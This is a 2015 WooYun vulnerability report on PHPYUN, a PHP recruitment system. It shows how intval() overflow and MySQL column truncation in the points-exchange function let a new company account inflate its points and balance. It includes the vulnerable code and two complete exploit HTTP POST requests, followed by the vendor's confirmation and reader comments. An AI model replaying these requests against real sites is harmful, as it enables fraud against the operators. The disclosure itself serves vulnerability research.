当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(36) 关注此漏洞

缺陷编号: WooYun-2015-128840

漏洞标题: PHPYUN很有意思的刷积分和金币漏洞(整形边界和mysql字段混合利用)

相关厂商: php云人才系统

漏洞作者: menmen519

提交时间: 2015-07-24 15:23

公开时间: 2015-10-22 17:40

漏洞类型: 设计缺陷/逻辑错误

危害等级: 高

自评Rank: 10

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 设计缺陷/边界绕过 逻辑错误 php源码审核 php源码分析

9人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-24: 细节已通知厂商并且等待厂商处理中
2015-07-24: 厂商已经确认,细节仅向厂商公开
2015-07-27: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-09-17: 细节向核心白帽子及相关领域专家公开
2015-09-27: 细节向普通白帽子公开
2015-10-07: 细节向实习白帽子公开
2015-10-22: 细节向公众公开

简要描述:

PHPYUN很有意思的刷积分和金币漏洞(整形边界/mysql字段混合利用),这么辛苦的到了快三点了还在码字,各位审核老大,不来个首页过不去吧

详细说明:

首先普及一个知识:



当然intval()返回的值在一个4字节所能表示的范围之内(-2147483648~2147483647),对于超过这个范围的值将用边界值代替。





下来看看phpyun积分的数据表结构:



1.png





double(10,2) 这个的意思是有十位有效数字,保留小数点后两位有效数字,也就是实际上最大也就99999999.99



varchar(10) 就是十位字符串



分析一下:



1. inval正常情况下无法产生一个10位的整数,所以只能靠溢出边界

2. 2147483648 这个东西进入到字段pay里面后,这个值就会变成99999999.99,比原先的整整少了10倍左右

3. -2147483648 这个东西进入到字段integral,这个值由于数据库设计的是字符形式,那么减号正好占据一个位,那么也少了10倍左右,最终变成了-214748364



基础知识就是这些,看代码:



例如:

1.png







下来看代码:

wap/member/model/com.class.php:

code 区域
function duihuan_action(){

$statis=$this->obj->DB_select_once("company_statis","`uid`='".$this->uid."'","`pay`");
$num=(int)$_POST['price_int'];

$price=$num/$this->config['integral_proportion'];

if($statis['pay']>$price){

$this->obj->DB_update_all("company_statis","`pay`=`pay`-$price,`integral`=`integral`+$num","`uid`='".$this->uid."'");
$this->insert_company_pay($price,2,$this->uid,'购买'.$num.$this->config['integral_pricename'],2,3);
$this->member_log("兑换金币");







条件一:

$num=(int)$_POST['price_int']; 满足可控边界溢出



条件二:

$this->config['integral_proportion']; 这个东西是个20,除以2147483648 还是具有10位数字,满足条件



条件三:

if($statis['pay']>$price){ 要这个成立,刚注册的公司账号,pay是0,price为负数满足条件



条件四:

User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X)



注册一个公司角色的用户,登录后

根据以上几点



第一次发送10个9的负数,溢出:

POST /phpyun40/upload/wap/member/index.php?c=duihuan&m=com HTTP/1.1

Host: **.**.**.**

User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12F70 Safari/600.1.4

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Cookie: PHPSESSID=01f5e8c5cd7936d769b0889efea4b637; uid=3; username=test2; salt=8c22c2; shell=b2958c6a0d5ba8fc41dfca8b85664214; usertype=2; friend_message2=0; sysmsg2=0; userid_job=0; commsg=0; remind_num=0

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 19



price_int=-9999999999





查看数据库为:

3.png





第一次发送9个9的正数,非溢出:



解释一下,这个字段integral 现在是一个9位负数,然后我们加上9位大整数,积分为正,

这个字段pay是一个99999999.99最大数,减去自己的差不多一半的值,还是为正,既刷了钱也刷了积分



请求如下:

POST /phpyun40/upload/wap/member/index.php?c=duihuan&m=com HTTP/1.1

Host: **.**.**.**

User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12F70 Safari/600.1.4

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Cookie: PHPSESSID=01f5e8c5cd7936d769b0889efea4b637; uid=3; username=test2; salt=8c22c2; shell=b2958c6a0d5ba8fc41dfca8b85664214; usertype=2; friend_message2=0; sysmsg2=0; userid_job=0; commsg=0; remind_num=0

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 21



price_int=999999999





查看数据库:

4.png









去个人的资料查看一下:

5.png







然后你想开会员,这么多积分,最新版本好像有转账功能













漏洞证明:

修复方案:

版权声明:转载请注明来源 menmen519@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-07-24 17:40

厂商回复:

感谢提供,我们会尽快修复!

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2015-07-24 16:00 | menmen519 ( 普通白帽子 | Rank:914 漏洞数:161 | http://menmen519.blog.sohu.com/)
    0

    第一张配图给错了,失误!!!

  2. 2015-07-24 18:36 | 从容 ( 普通白帽子 | Rank:359 漏洞数:94 | Enjoy Hacking Just Because It's Fun | ...)
    0

    大神,腿上收挂件么,120近的那种

  3. 2015-10-22 18:34 | 0xev4l ( 路人 | Rank:0 漏洞数:1 | 努力吧!骚年!北京买房买车买菜!)
    0

    呵呵....我的是64位系统....

  4. 2015-10-22 21:31 | 隐形人真忙 ( 普通白帽子 | Rank:163 漏洞数:20 | 关注安全研发与漏洞)
    0

    这个洞吊。。。。

  5. 2015-10-22 22:59 | 从容 ( 普通白帽子 | Rank:359 漏洞数:94 | Enjoy Hacking Just Because It's Fun | ...)
    0

    有意思

  6. 2015-10-23 11:26 | xsser_w ( 普通白帽子 | Rank:116 漏洞数:34 | 哎)
    0

    mysql的上下溢出是根据系统来决定的。 所以! 以后还是默默的装个64位的

  7. 2015-10-23 16:01 | D&G ( 普通白帽子 | Rank:566 漏洞数:113 | going)
    0

    有意思。长姿势啊

登录后才能发表评论,请先 登录